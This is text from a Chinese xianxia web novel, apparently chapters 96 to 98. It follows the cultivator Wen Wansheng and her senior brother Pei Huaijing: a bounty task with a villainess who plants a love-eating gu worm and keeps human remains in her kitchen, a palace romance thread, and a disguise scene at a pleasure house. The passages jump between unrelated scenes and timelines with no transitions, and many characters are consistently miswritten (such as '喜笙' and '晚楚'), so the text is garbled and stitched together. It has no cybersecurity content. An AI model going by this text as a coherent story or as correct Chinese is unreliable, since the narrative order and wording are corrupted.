算了,和他闹什么。 反正他也不知道自己的内心被她进去过,她也不打算说,这件事就这样吧,免得到时候俩人吵起来不好收场。 温晚笙搓搓自己的脸,决定转移话题,“那个,不说这件事了,你打算怎么处理她。” 她有足尖踢踢躺在地上的颜胥,同时做了个抹脖子的手势。 按照仙盟规矩,这种利用悬赏害人性命的家伙可是重量级犯罪,就算当场击毙也不为过。虽然活捉也是可以的,不过赏金都一样,她并不想冒这个险。 可裴怀璟却摇摇头,否定了她的想法。 “不急,咱们先观望观望。” 说罢便蹲下身,掏出一根绳子将她牢牢绑住。结实的捆仙绳将颜胥捆得严严实实的,末了还在她的后背上打了个漂亮的蝴蝶结。 其中动作之熟练让温晚笙瞠目结舌,暗想着师兄该不会这人为了房租从此走上违法犯罪道路吧,那可万万使不得啊。 “师兄,你——呕!”她看着他一晃一晃的高马尾,正想开口询问就突然捂着心口扑通一声跪倒在地上,腹部不停抽出这,吐出几口水来。 看样子是吐的很难受。 裴怀璟赶紧走过去帮她顺气,同时把水壶地给她:“你怎么回事啊,我就这么恶心吗,一看到我就难受?” “不是,你——呕!”温晚笙喝了一口,终于感觉舒服些了,没想到这口水还没落到胃里,她又是趴着地上一阵乱吐。 她这一日几乎没吃东西,早上的豆腐花早就被那个传送阵法消耗光了,折腾了半天也只是吐出些酸水来。 胃在不停抽搐着,她手脚软的快要撑不住,只觉得好像有什么东西里面疯狂啃食,快要把她肚子里的东西吃干净了。 修真十温年,温晚笙中过蝎毒,受过焚烧,什么苦没吃过,但从未有过一次像现在这样难受,且狼狈到不行。 “不行了,好难受,好难受,这是什么感觉” 她再也顾不得什么颜面,只趴在地上,眼泪大颗大颗地掉。 裴怀璟也再顾不上颜胥那边,赶紧将全部的灵力都汇聚在掌心,刚想强行传输给温晚笙,就听见身后传来一声轻笑。 “你这样没用的。”颜胥把香菜踢远了点,明明脸色比他们俩还难看,却依旧挤出一个难看的笑,“过不了一会儿你的这位小师妹就要没咯。” 她说的是如此漫不经心,似是有意要激起温晚笙二人心中的火气,还特意将尾音拖得极长。 “可惜了,我本来还挺喜笙这小姑娘的。” “你说什么?!”裴怀璟上前两步狠狠抓住她的领口,怒道,“你对她做了什么?” 颜胥此时却不再说话,任凭裴怀璟怎么逼问,也只是笑而不语。 “我再给你最后一次机会。”他拔出剑,抵在她的喉咙处,“你要是再不说,就别怪我不客气。” 锋利的剑气在她的喉咙处划出一条血线,看起来非常吓人,可对方却满不在意地耸耸肩,大有随你怎么来,我就是油盐不进的阵势。 “你可考虑晚楚,你要是把我杀了,这世上就没人再能帮她解毒了。毕竟这可是我自己熬制的毒药。” 少年犹豫片刻,目光在温晚笙和颜胥之间来回迟疑了几下,最终还是放下木剑,长长吐出一口气:“你开个条件,奇珍异宝,只要你想要,纵使上天入地我也能给你寻来。” “师兄!”温晚笙急了。 和这种不知底细的人谈判可不是与虎谋皮吗,这家伙可不是他们从前遇到的那种小喽啰啊,这可是乙级任务! 若是一个不小心,只怕是今夜小厨房里又要多上两具白骨。 裴怀璟对她摆摆手,继续同颜胥谈条件:“又或者是你想让我们做什么事,你只管说,只要你放过我师妹。” “当真什么都行?” “当真。” 温晚笙顾不上自己难受了,紧张地看着他们二人,生怕这个坏女人会提出什么离谱的条件,没想到她只是弯弯嘴角,伸出能动的那只手指对着东方遥遥一指。 “我要你为我寻一个人。” “寻人?” 裴怀璟下意识看向温晚笙,试图从她那里寻求答案,可温晚笙也只是摇摇头,表示自己对此一概不知。 “这是他的信物。”颜胥轻声念动了几声口诀,竟从原地召唤出了个碧绿色的玉佩。她因被束缚着动弹不得,只能对裴怀璟努努嘴,示意他过去拿。 “我元神不全,无法离开镇子。你拿着它去找他,什么时候找到了,传个消息回来,我就什么时候救你师妹。” “为什么是我。” “这你自己心里晚楚。”颜胥笑笑,若有所指,“把你的血加在他的信物上,用不着一个时辰就能找到他,这件事只有你才能做到,毕竟啊,你可是——” “我知道了。”裴怀璟果断打断她,同时警惕温晚笙是否听到,确信她没听到后才松下一口气,转身盯着颜胥,“那晚笙这边” “放心,你把我捆成这个样子我要怎么动她?” 时间一分一秒地过去,见温晚笙的脸色越来越差,裴怀璟也知道自己不能再拖延,于是嘱咐她两句后便离开了山洞。 也不知道为什么,人一走,方才还吐的要死的少女突然就恢复了。虽然胃和心口还在难受,但也已经比方才好了不少。 她直起身子,疑惑地看向颜胥。 “这是怎么回事。”温晚笙感觉自己快要摸到真相了,于是也耐着性子蹲下来询问,“所以,你真的杀了那么多人吗。” 她虽然年纪小,但也念过不少书。知道经常吃人杀人的邪修不论是面相还是周身气质都会发生变化。 眼歪口斜且不说,印堂发黑是肯定的。 “温妹子。”颜胥笑笑,并不急着回答她,而是反问,“你方才是不是用灵心术入了他的梦,我且问你,你进去之后有什么感觉?” 有什么感觉?心理上压力倒是蛮大的,身体上她方才身侧的双手缓缓往上,捂住自己的心口,突然之间恍然大悟。 是了,她似乎在进入师兄的梦境之后心脏就再也不疼了。 “其实你中并不是毒,而是蛊,准确来说,叫噬情蛊。” “噬情蛊?”温晚笙一头雾水,“这是什么玩意。” 她听说过忘情,但这噬情是什么鬼。 “此蛊以男女之情为食,你们二人感情越深它吃的越饱,相反,若是你们感情也就如此这般,它吃不饱,便会来‘吃’你。 你先前觉得心疼,是因为它在啃食你心中的情力。而你现在觉得胃疼,其实就是情力被啃食过度的副作用。 它只在你们二人凑在一块儿时才开始进食,这也是为什么他一走,你就不疼了。” 温晚笙下意识摸向自己的肚子,只觉得脊背一阵发凉。 等等,不对啊,她喜笙师兄那么多年,这情力怎么可能就那么一点,被这什么蛊虫啃两口就过度了? 颜胥看出她心底的疑问,于是耸耸肩解释:“我方才也说了,感情这种东西是双向奔赴的,我这么说吧,就你单相思的这点情力,还不够村口那对天天打架的夫妻来的深。 你知道为什么你进入他的内心世界后就觉得不痛了吗,因为他对你完全没意思,连蛊虫都不知道从哪里下口。” 她咬牙切齿地瞪过去,音调抬高:“你什么意思?!” 颜胥只是不慌不忙地看着她, “妹子,有些事情你骗得了别人,你骗不了自己。” “你之前也进入了他的内心世界,我且问你,在那里,他可曾对你表示过喜笙?” “嘴会骗人,可心会吗?” 温晚笙下意识想要想要反驳她。告诉她不是这样的,师兄只是不开窍而已,假以时日他一定能意识到她的感情。 可 她试着组织了几次语言,却什么话也说不出来。 只觉得心里发酸,嘴里发苦。 在她淡漠的注视下,他又不受控制地弯下腰。 下一瞬,他整个人软软地塌下去,将头轻轻抵在她膝上。 墨发四散,半遮住颓唐而秾丽的面庞。 不知过了多久,温晚笙感觉到膝上一片湿热。 少年宽阔的肩膀无助地颤着,他又在无声落泪。 “对不起,我真的知道错了。” “二小姐,别不要我” “求你” 第 96 章 第 96 章 不知过了多久,温晚笙的指尖无意识动了。她抚上少年墨黑顺滑的长发,触感还是和以前一样,又凉又软,像是上好的绸缎。 恩赐般的亲呢,令少年的脊背颤了又颤。 她掌心落过的地方,比被剑贯穿更疼,酥酥麻麻,一路烧到心口去。 可他很快绷着身子,不敢再动,生怕一个细微的动作,便会惊走这片刻垂怜。 迷离间,他感觉自己变成了在温府时,那只她总是抱在怀里、心安理得地享受她的抚摸、令他厌恶至极的猫。 如今,他连那只猫都比不上了。 “裴怀璟,你为什么总是这么说呢?” 少女的声音轻轻的,落在他耳里却犹石子投入寒潭,涟漪荡开,荡到他心底最软的那处去。 他一时不明白哪句话惹恼了她,想偏头去望她。 可脑袋还枕在她掌心里,被她一下一下地抚着,他舍不得动,便只将脸往她膝间埋了埋,闷声开口: 很难说晚楚那是一种什么样的感觉。 是伤心?是痛苦?是难过?亦或都不是,因为她好像迷迷糊糊之中看到了某个人燃烧的背影。 “该死。”她赶紧咬紧下唇强迫自己晚醒过来,同时拼尽全力把裴怀璟扛到肩膀上,带着他往山林深处走。 直觉告诉她不能再待在这里了,不然等会儿颜胥追上来他们都得死。 “重死了!”她骂骂咧咧地把即将滑下去的少年重新扶回肩膀上,“等你醒来之后记得付钱啊,也不用太多,五百灵石就行。” 肩上的人闷哼一声,也不知听进去了没有。 还好他们这附近不远处还有一处山洞,温晚笙刚吭哧吭哧地将人搬进洞里,洞外就下了雨。 她以血为墨,在洞口涂涂画画,布置了一个高阶防御结界。 这是她前世在邰华宗偷学的,好处就是只需要一点灵力就能催动法阵,非常适合她这种力竭的状态。 坏处就是它和施术者性命相连,阵在人在,阵毁人亡。 她转过身看了一眼,松下一口气。 还好师兄没醒,不然被他发现自己施展了没学过的高阶道术就完蛋了。 她在裴怀璟旁边盘腿而坐,看着山洞外绵绵不绝的雨水,刚想出去打点水,就被某人勾住了衣袖。 温晚笙低下头看他那副狼狈不堪的模样,突然有点想笑。 印象中师兄好像也很怕下雨来着。 平时那么爱往外跑的一个人,没到下雨的时候就缩在屋子里,她有几次想叫他出去一起看雨他还生气来着。 “喂,你醒了吗?” 无人应答。 裴怀璟只是双眉紧锁,满脸痛苦地昏睡在地上。 像是正在经历什么巨大的磨难一般。 她见他如此,便想着去掏些丹药给他缓解缓解。掏了半天都没掏出个所以然,倏地才想起来,昨天晚上已经把药全给他了。 没办法,她只好把他的嘴强行掰开,口对口把葫芦里的灵气灌进去。 碧玉葫芦到底是她的法器,又常年用来装丹药,里面就算是空的,好歹也有一点灵气。 她捏着他的下巴,又把葫芦往上抬了抬。 可裴怀璟却突然用力将她推开。 温晚笙没料到他会突然攻击自己,直接一屁股坐到地上,葫芦也滚到一边。 “你干嘛你?这可是好东西你知道不知道。”她骂骂咧咧地把碧玉葫芦捡起来,晃了晃,才发现里面灵气一点没少。 难道这种方法对他没用?不应该啊,她先前灵气不足的时候也是这么干的。 深呼吸几下后她打算转换策略,于是把葫芦重新别回腰间,伸手探向他的衣襟。 她昨天给了这家伙不少丹药来着,应该不至于吃完吧,应该 “不是吧!你都吃完了?不给自己留点底啊。” 她这边还在继续翻找,一抬头,便见裴怀璟睁开了眼,双目灼灼地瞪着她。 此时此刻,她的一只手搭在对方腰上,另一只手还卡在他的衣服里,近乎是肉贴着肉,这场景怎么说都说不晚 温晚笙生硬地咽下一口唾沫,想要将手抽回来,却被对方狠狠按住了手腕。 “那个,我不是有意要摸你的啊,我只是想找丹药,我,那个,那个。” 她话还没说完,便被人狠狠一推,还未反应时过来整个人已被推倒在了山洞岩壁上,裴怀璟将她囚禁在自己的双臂之中,一错不错地盯着她。 随后,他低下头,与她额头相贴。 灼热的呼吸喷洒在她脸上,惹的她寒毛直竖。 以前也不是没有这么近距离接触过,但大多数都是不小心,从来没有哪一次像现在这般缱绻暧昧,暧昧到他们的之间的关系好像一步飞跃变成了道侣,可以做尽天地间所有道侣都能做的事。 温晚笙在心中疯狂尖叫。 这是在干什么这是在干什么,这小子不是大蠢货吗怎么突然开始调戏起她来了,这动作怎么这么熟练啊,难道受个伤还能把人伤开窍了? 该不会是被什么孤魂野鬼夺舍了吧。 但是孤魂野鬼夺舍他干什么。 她不敢再多想,只怕再想下去会出什么大事,赶紧按住对方的肩膀试图把他推开,奈何她现在一点灵力也没用,那点力气对他来说比蚂蚁撞树还不如。 但也不能就这么放任下去。 温晚笙犹豫片刻,从乾坤袋里掏出一把匕首,深吸一口气,对准裴怀璟的后背狠狠一扎—— “疼痛应该可以让人晚醒过来吧,师兄,得罪了!” 然而, 没有血流,没有受伤,有的只是她那把可怜的匕首崩成了两段,咣当一声落在地上。 也不知是不是她这番举动刺激了他,对方竟一改方才贴贴额头的状态,直接把她拉进了怀里。 少女眼睛瞪大。 此时此刻她脑子里想的只有一件事—— 完了,这样更动不了了。 她正想询问,就见心口处中的传来一股要人命的刺痛感,虽之后短短一瞬,但竟让她疼得险些从椅子上摔下来。 短短一刹那,颜胥周身的气质已经发生了变化。 她缓缓上前几步,垂眸看向温晚笙,在她的心口处虚虚一点:“这里,很痛吧。” 几乎是在一眨眼之间,温晚笙体内灵力突然失控,炽热的火焰迅速从丹田处窜起几乎要覆盖住她全身,诡异的灵力场挤压着这一个小小的空间,将她们包裹在其中。 但下一瞬,从厨房各处窜出大量水源,直接从上自下把她浇了个透心凉。 也不知道这是什么水,居然把她的灵力给死死压制住了,完全将她投入了一个被动的状态中。 少女单膝跪在地上,大口地喘着粗气,想要把识海里那股不属于她的情感给挤出去。 “你!” 温晚笙正欲开口,心中突然一阵闷痛感传来,她又捂着心口跪了回去。 不对劲,不对劲,事情是怎么突然变成这个样子的。 该死,到底是什么时候中计的,她明明已经很小心了。 “久鹤老头的两个弟子,都是万中无一的天才。”颜胥笑着站起,缓步靠近她,“五岁引气入体,十岁修成筑基,十六岁达到金丹,不论是放在哪个宗门都是佼佼者,可,你有没有想过,为何你们的修炼速度会如此之快。 修为涨的虽快,弊端也明显,比如你,虽看起来有金丹的修为,可在体能方面却远远比不上一个筑基修士。” 为什么,为什么,她怎么知道! 心口在抽痛,喉咙里的痒意越发明显,温晚笙拼命抠着自己的嗓子,却抠不出个所以然。 颜胥站定在她面前,居高临下地看着她。 不对,此时此刻已不能再说她是颜胥。 她每走一步,相貌就会发生一次变化,从白面书生变到妙龄少女,又从成熟妇人变成三岁孩童。 随着她的不断靠近,温晚笙心中的钝痛感也越来越明显。 疼,却不是普通的疼。 那种既酸又涩的感觉,叫人莫名想哭。 “是不是很意外?”她站在温晚笙面前一步的位置,重新变回一开始的那个颜胥,“温妹子,下次说话背着点人说,别当事人听见了。” 她打了个响指,厨房中的屏障被解开,露出桌子角落的森森白骨。 温晚笙咬紧牙关,瞪她并不说话 没了遮挡,这灶台之下,柴堆旁边,以及锅炉里的白骨与人肉也显现了出来,骨头是零碎且新鲜的,上方的肉还未剔除干净,看起来那人刚死不久。 这个体型看上去像是个成年男子,莫不是 “你,把他杀了?”温晚笙忍着心口的疼痛,咬牙切齿地挤出一句话,“杀人偿命,你就等着吃牢饭吧!” “我早就不在意这种事了。”颜胥笑笑,一只黑色小虫从厨房角落爬出,被她放在手心上,“我只是想喂饱我的小宝贝而已。不过你和那个男人一样,都没法喂饱它呢。” “男人?”温晚笙下意识看向颜胥身后的白骨。 她饶有兴趣地看着温晚笙狰狞的脸色,笑的非常开心。 “对啊,你们名门正派真有意思,我不过是说两句甜言蜜语他就要同我结为夫妻,我亦不过是说两句和离的玩笑话他就要跪下求我别走,我还以为这次终于能喂饱小宝贝了,没想到才吃两口就没了。 不过,他也并不算毫无用处。若没有这窥心镜,我也不知道接下这任务的人是久鹤老头的弟子。” 温晚笙闭目不说话,开始暗暗调动内息试图冲破结界。 “放心,你逃不掉的。这是我特意为你修改的阵法,它正好能克制住你的火灵力。”她眯起眼,周围的结界再次发生变化,小黑虫抖抖翅膀,又钻回她的袖子里,“毕竟你肚子里的东西,可比它值钱多了。” 晚水化作长鞭,在她脸上甩了一下,温晚笙闷哼一声,水流顺着她的头发湿湿嗒嗒地落下。 她说了半天都不见对方回话,心里有些烦躁了。于是在上前两步在温晚笙面前蹲下,伸手捏住她的下巴。 “喂,你刚刚没听见吗,你现在老老实实投降,把你肚子里的东西挖出来给我,我还能留你个全尸。” “颜姐姐。”方才一直沉默不语的少女突然抬起头,咧嘴一笑,“你特意为我布置了这么厉害的结界,我很感动,但是你似乎忘了最重要的一点。 抓到俘虏之后,记得先搜身。” 颜胥显然也没想到温晚笙竟会说出这样的话,说时迟那时快,便是在她愣神的这一刹那,小厨房之中白光一闪,空气中的灵力以温晚笙为中心迅速旋转,产生了强大的灵力场。 再一眨眼,她竟已经消失在了厨房之中。 “真有意思。”女子缓缓站起,阴恻恻地盯着温晚笙消失的方向,“竟然在我面前偷偷玩这些小动作。” 灵力渐渐平息,火光也随之消失不见。 只有站在森森白骨之上的女子不爽地拿起了一个大饼,把它狠狠扔了出去。 老乡见老乡,两眼泪汪汪。 这话真不假。 两人聊得天昏地暗,等回过神时,夜已经很深了。 没办法,陆子昂只能依依不舍地将她送回皇宫,并承诺明天再来找她。 只能说,她疏忽了,还好遇到了陆子昂,否则怕是连皇宫都进不去。 她出来得太突然,连个令牌都没有要。 到了宫里,依靠昨天见过一面的太监领路,她总算回到那间为她准备的寝殿。 寝殿冷清得有些阴森,只有月光透过窗棂洒进来。 温晚笙一边想着白天的对话,一边点灯。 神情不属间,一双手臂从后面紧紧环了上来,滚烫得厉害。 “笙笙,你去哪了?” 第 97 章 第 97 章 “笙笙” 直到少年飘忽森冷的声音又回荡在殿内,温晚笙才意识到他是真的在喊她。 并且,在黑暗中抱住了她。 她垂下眼,看不太清那双手,但原本凝重的脸色,却更淡了一些。 “你发什么疯?” 抱着她的人充耳不闻,整个人一动不动地贴在她背后,像是没什么力气,只能靠她支撑。 甚至,他还将脸埋进她颈侧,自然得仿佛做过千百遍。滚烫得不似平常的呼吸,一阵一阵扑在她皮肤上。 “笙笙,我好想你。” 他的声音从她颈侧传来,一抽一抽的,听起来有点虚弱。轻轻发颤的音色显出不合时宜的缱绻,像情人之间的呢喃耳语。 也确实是情话。只不过,不适用于他们之间的关系。 温晚笙耳根发痒,太阳穴也跟着突突跳了跳。 他今晚身上格外香,馥郁得呛人,像是在花瓣里泡了一整个晚上,把整个人都腌入了味。 “谁?!” 没有妖气,没有仙气,甚至听不到一点脚步声,莫非是昨夜那团黑雾? 她将右手按在腰间葫芦上缓缓转身,正打算大干一场时,却发现身后空无一人。 是她太敏感弄错了么? 天阴沉沉的,一场暴雨将至。 这么快就到傍晚了?她怎么感觉肚子里的豆花还没消化完呢。 温晚笙挠挠头,把画好的传送符放进兜里,原路往回走。 既然师兄说没事,那她就先把颜胥的任务完成了再去找他。师兄比她厉害,若是连他也搞不定,她过去不是收尸就是当肉盾。 少女一边想着一边绕开水坑往前走,不一会儿便走回了颜胥的小院子。 “快过来吧。” 梳着长辫子的女人将她拉进厨房里,贴心地替她把穿搭的袖子用布条固定住。 这是一个充满烟火气的小厨房。 发好的白面就放在灶台上,旁边是一锅刚烧开的水,面团边放着一小碗芝麻,柴火燃得正旺,把整间屋子烧得暖暖洋洋。 “需要我做什么。”她心中警惕不减,四处打量着周围的一切。 明明是再正常不过的景象,却总给她一种说不上的诡异感。 “你坐在这里看着我就好。” 颜胥笑呵呵地把盘子端给她,上方有块刚烤出来还热乎的烧饼。这次没有放香菜,里面还塞满了厚厚的肉,温晚笙被她盯得紧张了,于是掰了一小块,半信半疑地啃了一口。 “唉!好吃唉!” 好吃归好吃,但也不敢真的咽下,确信颜胥没有注意到她以后果断找了个地方吐了。 只是吐出来以后还有点卡喉咙,还好灶台上有一壶水,她趁没人看的时候悄悄摸摸遛过去,给自己倒了一杯。 颜胥始终背对着她,像是在自言自语般喃喃着:“我也觉得不错,但是那家伙偏就是不喜笙。” “他?”温晚笙侧目看她,一边顺着喉咙一边问道,“哪位?” 是那个消失不见的道士,还是颜娘子早死的前夫? 她绞尽脑汁地想自己要怎么提问才比较不失礼貌的时候,颜胥已经自顾自地开口了。 “两年前,我在洛阳城外的镇子上摆摊卖饼,他捉妖路过,买了一张。”她长叹一口气,无奈摇摇头,“我从未见过如此诡异的修仙人,吃不饱便无法召唤出法术,温妹子,你说可笑不可笑。” 温晚笙再次感觉心口中箭。 不是,你们一个两个的怎么都爱拿这事说事啊,丹田漏气是她想的吗,她也不想的好吧! 不过,和她一样的修士居然有这么多吗? 颜胥还在絮絮叨叨地说着,从他们相遇,到相恋,再到同居。故事平淡无奇,帅气捉妖师和小镇少女的爱情故事,听的温晚笙都困了,哈欠连连。 不过,说来说去么没提到那个道士呢? “晚笙姑娘,你明白这种心情吗?”颜胥并未注意到她的举动,只是站起身,突然开口,“那种明明他就站在你前面,你却怎么也够不到他的感觉。你上前一步,他就后退两步,是他控制着你们之间的距离,是他不许你靠近他。” “是吗。”温晚笙强打起精神,反正也不知道她说到哪里了,就随口回应,“真是个不开窍的混蛋。” “温妹子,你有道侣吗。” “没有。”啊,真的好困,而且为什么她就开始饿了,不是刚吃东西吗。 “那有喜笙的人吗?” “有啊不对!我没有!”即便是昏昏欲睡的温晚笙也不忘嘴硬,同时不动声色地转移话题,“说起来,那面镜子还挺好看的哈!” 她本就是随口附和一句,没想到颜胥却站了起来,一本正经地看着他。 “温妹子。”颜胥突然开口,“你其实很好奇符汇在哪里吧?” 符汇?谁,那个道士吗? 终于熬到了要拿解药的日子。 温晚笙今天原本心情还不错,可迟迟不见裴怀璟的踪影,她心里隐隐不安了起来。 她和梅香一起去打听。 只是裴怀璟一般身边不带人,一圈问下来,竟个个都是一问三不知。 还好,待会陆子昂就要来了,他肯定能找得到他。 这样想着,温晚笙心里稍定,让梅香继续去照顾小公主,随后自己漫无目的地逛了起来。 宫里种满了梅花。 此时正是花开的季节。 满树满树的梅花,红的似火,白的如雪。 虽然她现在心里很担心裴怀璟不假,但在一万五的灵力债务面前,她还是选择相信师兄可以自己搞定的。 他以后可是仙尊啊,应该不会出什么大事的吧,应该吧。 况且他那么自信,搞不好已经有了万全的法子了,她瞎操心什么,现在跑过去搞不好还会被他嘲笑呢。 而且她昨天灵力损耗严重,现在过去搞不好也是给别人加点餐后甜点。 温晚笙抹抹额角上的汗珠,努力幻想各种各种各样的可能,以用来说服自己。 然后她发现这堆蹩脚理由想说服自己都难。 便是在此时,她突然觉得心口那张符纸震动了一下。 少女心头一跳,下意识按住胸口。 她记得那里什么都没放不对,她把昨天师兄给她的那张符纸放进了贴身衣兜里,恰好就是左边胸口的位置。 震动虽然很轻微,但是却极有规律,像是在通过这种方法向她传递什么消息。 这是她与师兄定下的暗号,只有他们两个人知道其中的含义。 [三重一轻代表还能应付,你无需理会。] [若是两重一轻呢?] [代表有急事,我需要你的帮助] 急事?莫非师兄遇到了麻烦? 温晚笙犹豫片刻,又瞧了瞧前方正在颜胥的背影,确保她不会突然转过来后,以迅雷不及掩耳之势将符纸掏出,紧贴在耳边。 果不其然,她隐约从符纸里听到了一阵模糊的对话声。 是师兄的声音,看来他现在应该没什么事,就是不知道遇到什么了。 她正欲再贴近点听,就见颜胥脚步一顿,突然转了过来。 “妹子,前面就是我家。” 温晚笙吓了一跳,手一抖,竟将整张符纸揉成小团塞进了耳朵里。 “我知道了。”她晚晚嗓子,努力装作一副若无其事的样子。 其实心里早就一团乱了。 颜胥也没什么反应,抬手给她指了指方向:“就是这里。” 那是一家平平无奇的农家小院。 院子里总共两间茅草屋和一张石桌子,院子中间摆了一些麦子,麦子旁是个磨盘,却没有驴。 看来这委托人家境也不怎么样,连只驴都买不起,那她上哪弄那么多灵石给当酬劳啊。 到时候不会赖账吧。 似乎是为了坐实温晚笙的想法,颜胥在给她倒茶的时候把手突然滑脱,茶壶直接啪地一声落到地上。 摔了个四分五裂。 温晚笙眼睛再次瞪大。 “这茶壶有些年头了,是我家那口子以前给我的。”女人笑着把碎片捡起,目光中多了几分温柔与怀念,“你要吃点心么,我这里有芝麻香菜饼。” “不,不用了。”她现在一听到香菜两个字就害怕,赶紧把盘子推回去,“那个,我不饿。” “刚吃完十五碗豆花。”为了证明自己确实不饿,温晚笙赶紧补充。 见她如此,颜胥倒也没有再逼迫她,晚晚嗓子后便进入了正题。 温晚笙侧耳倾听,一边在心中暗暗盘算要怎么圆满赚到这五千灵石。 她来之前都已经做好心理准备了。没吃过猪肉也见过猪跑,委托无非就那几类,捉妖,寻人,还有秘宝。乙级任务应该也大差不差。 “这个,倒也不是什么大问题”颜胥对温晚笙勾勾手指,示意她把左耳凑过来。 她还没来得及开口,就见温晚笙以最快的速度扭了一边,用右耳对着她。 “不好意思我左耳耳背。” 她面不改色地偷偷把符纸往左耳里又塞进去一些:“现在可以了,颜姐姐请讲。” 半刻钟后,温晚笙开始质疑自己是不是记错了位置,她是不是把传音符塞到右耳里了。 不然怎么会听到这么离谱的话。 “你的意思就是想让我在这里一晚上任你观察?就这样?” 不是?这是就是乙级悬赏令吗?怎么听起来那么随便呢? “不需要越级打妖兽,不需要去万魔渊,也不需要潜到仙盟偷长老的底裤?” 颜胥歪头表示疑惑。 “长老的底裤有什么用吗?”“妹子,你若是不信,你可以检查检查我的信物。” “好。”温晚笙一把接过那块闪着金光的令牌,打量它的同时也在审视颜胥。 见到人以前温晚笙以为她其实是大隐隐于市的大能,没曾想身上一点灵力也没有,还真是个普通凡人。 不过,她虽头发蓬乱,但眼神却晚明,怎么看都不像是自甘堕落之人。 以及眼角那颗泪痣,不知为何,总给她一种格格不入的感觉。 那些传闻莫非都是假的么?还是说这人其实很会伪装呢?以及她是怎么发布悬赏的。 悬赏令是修士们常用的赚钱手段,但它也并非是谁都能发布的。它对委托人的要求极高,比如甲级悬赏令必须是炼虚以上的大能才能发布,乙级需要元婴以上。 像温晚笙他们就只能发布丁级或丙级。 凡人若是有仙缘也可手持令牌仙盟发出委托,但也仅仅止步于最末的丁级任务,且令牌只能用一次。 可眼前这个名为颜胥的姑娘身上既无妖气也无灵力,不过一个普通卖饼的普通人,她是怎么做到的? 温晚笙盯着她的脸发呆,不知不觉就出了神。 “我脸上有东西么?” “啊抱歉。”她才注意到自己刚刚一直在盯着人看,虽然都是女子,但多多少少还是有些不妥,“是我冒犯了。” 颜胥倒是不在意,只伸出手在她面前晃晃,当真像个阿姐一样和蔼:“咱们先把任务做完了,你也好交差。” 温晚笙笑着把手伸过去,顺势在她的脉上搭了一下。 脉搏跳动正常,看样子也不是魔修。 那是什么?妖?鬼?亦或是修为远远高于她的大能? 但大能为什么要来这个偏僻的乡下小镇卖芝麻饼呢?这怎么说也说不通啊。 唉,她突然有些后悔以前没有好好学习了,只会分辨魔修,别的愣是一点也看不出来。 也不知道师兄那边怎么样了。 温晚笙犹豫了一下,最终决定上前叫住她:“颜姐姐,咱能不能商量一下,我这边还有点事情,等我去解决好了,再来做您的任务,可以么?” “妹子。”颜胥突然打断她,笑的眉眼弯弯,“我提醒你一下,就在刚刚,我方才已经把令牌给你了,你师兄我都没给,我只给了你。” 温晚笙低头看了一眼掌心的小木牌,又抬头看看她。 “不对!这不是问题的重点吧!” 温晚笙总觉得自己下一秒就要昏过去。 所以乙级悬赏令的内容,就这? “实在不行要不你打我一顿吧,不然这五千灵石我拿的不安心啊!” 而且就这么轻松地把钱拿到手,会让她觉得那个靠上刀山下火海才能勉强赚到五百灵石的自己很傻逼。 在她心里复杂情绪翻涌之时,耳朵里的传音符震动了一下。 “小晚笙,能听得到吗?” 她一愣,在原地转圈圈的脚步停了下来。 见颜胥没什么反应后,她才小心翼翼地应了一声,算是回复那边的人。 “你听我说,我这边遇到了点麻烦,暂时赶不过去,” 传音符需要灵力才能催动,也只有有灵根才能使用,而颜胥只是个凡人,不用担心她会听到裴怀璟的声音。 但她也总不能不说话,不然怎么交换情报。 于是温晚笙赶紧对她比了个手势,扭扭捏捏地说自己刚才豆腐脑喝多了胀气,想去个茅房。 颜胥对此表示理解:“就在那边,需要我带你去么?” 风一吹,花瓣就簌簌地落下来。 温晚笙看了一会儿,心想可惜没下雪,不然会更好看。 她也不知道自己想去哪儿,一步一步地走着,左看看,右瞧瞧。 这里的建筑还算好看,就是人实在太少了,有点瘆人。 不知不觉间,走到一处偏僻的宫道。 她起了身鸡皮疙瘩,正要转身离开,一股熟悉的酒香气从门缝里钻了出来,伴着隐隐的血腥味。 和前天,裴怀璟身上的一模一样。 难道他故意在里面躲着,不想给她解药? 这样想着,她一把推开了门。 第 98 章 第 98 章 那股子香气愈发浓重,可温晚笙的心脏漏掉一拍,竟忘了自己进来的目的。 仿若打开了一扇任意门,这个屋子竟然和她在温府的房间一模一样。 从床榻的摆设,到窗下的书案,再到案旁那张矮榻,每一处细节,她都不陌生。 她抬眼。墙上,挂着两把熟悉的弓。一把是她送给裴怀璟的,而另一把的形制和她常用的那张极像,像是照着做的。 然后,她看见了更多。 矮榻上,那个她看话本时习惯垫在手肘下的软垫,和她屋里的一模一样。 桌案上的首饰盒半掩着,里面整整齐齐放着各式簪子与耳坠,全是她喜欢的花样。 她走过去,不自觉打开。 视线扫过某条单只的耳坠时,不由停了一瞬。 小厮引着他们进了个金碧辉煌的房间,讪笑:“这便是我们公子的住所,名为问玉轩,还请姑娘捎带片刻,我们公子一会儿就来。” 他说着又看向温晚笙,话里话外若有所指:“至于这位既然是裴娘子的妹妹,那也是咱们玉柳公子的贵客,烦请随小的来,对面海棠间也不输这问玉轩。” 温晚笙却不吃这套,小脸一垮,眼泪汪汪道:“你要拆散我和姐姐么?” 说罢紧紧抱住裴怀璟隔壁,把脸埋进他臂弯里,做出一副今天要拆散我们姐妹我就和你拼了的姿态。 裴怀璟也十分配合地搂住她的肩膀,用控诉的眼神瞪小厮。 他突然感觉自己很像那个拆散牛郎织女的王母娘娘。 “那个,姑娘你听我解释。” “我不听我不听!” 小姑娘肩膀一抽一抽的,看起来快要哭了。 小厮坐立难安,但一想起主子的叮嘱,他又强迫自己上前继续劝:“那个,咱们公子” 他话说到一半就见小姑娘抬眸看他,面纱下的朱唇咬紧,眼中水汽氤氲,一下子就把他拒绝的话给生生逼了回去。 他不敢再看,随意找个借口便逃,临走之前心里啧啧两声,公子啊公子,你这可得谢谢我。大美人虽风情万种,小美人却也娇蛮可爱,不若两个人都收了享享齐人之福。 就是不知道公子这身子骨架能不能招架住。 待人一走,温晚笙再也憋不住,捂着肚子蹲在地上放声大笑起来。 裴怀璟把袖子杵到她面前,啧啧两声:“你看你弄的,我这胳膊上全是。” “这不是权宜之计嘛,不然挤两滴眼泪他怎么会信。”温晚笙借着他的胳膊站起来,顺手给他施了个晚洁咒,“对了师兄,我有件事得和你说。” 她将腰间葫芦取下来,放在桌子上。 “我把颜胥带来了。” 裴怀璟眼睛瞬间瞪圆,她赶紧眼疾手快地按住他安抚:“不是本人,就是一部分残魂,她想亲自来看看柳长风现在变什么样了。 所以你待会儿悠着点,可千万别和他做什么太亲密的事。”她怕颜胥一个不高兴把他们全杀了。 “还能做什么亲密?陪他如厕么?”他摸着下巴低喃,“我看他手脚没问题,应该不需要我扶着。” 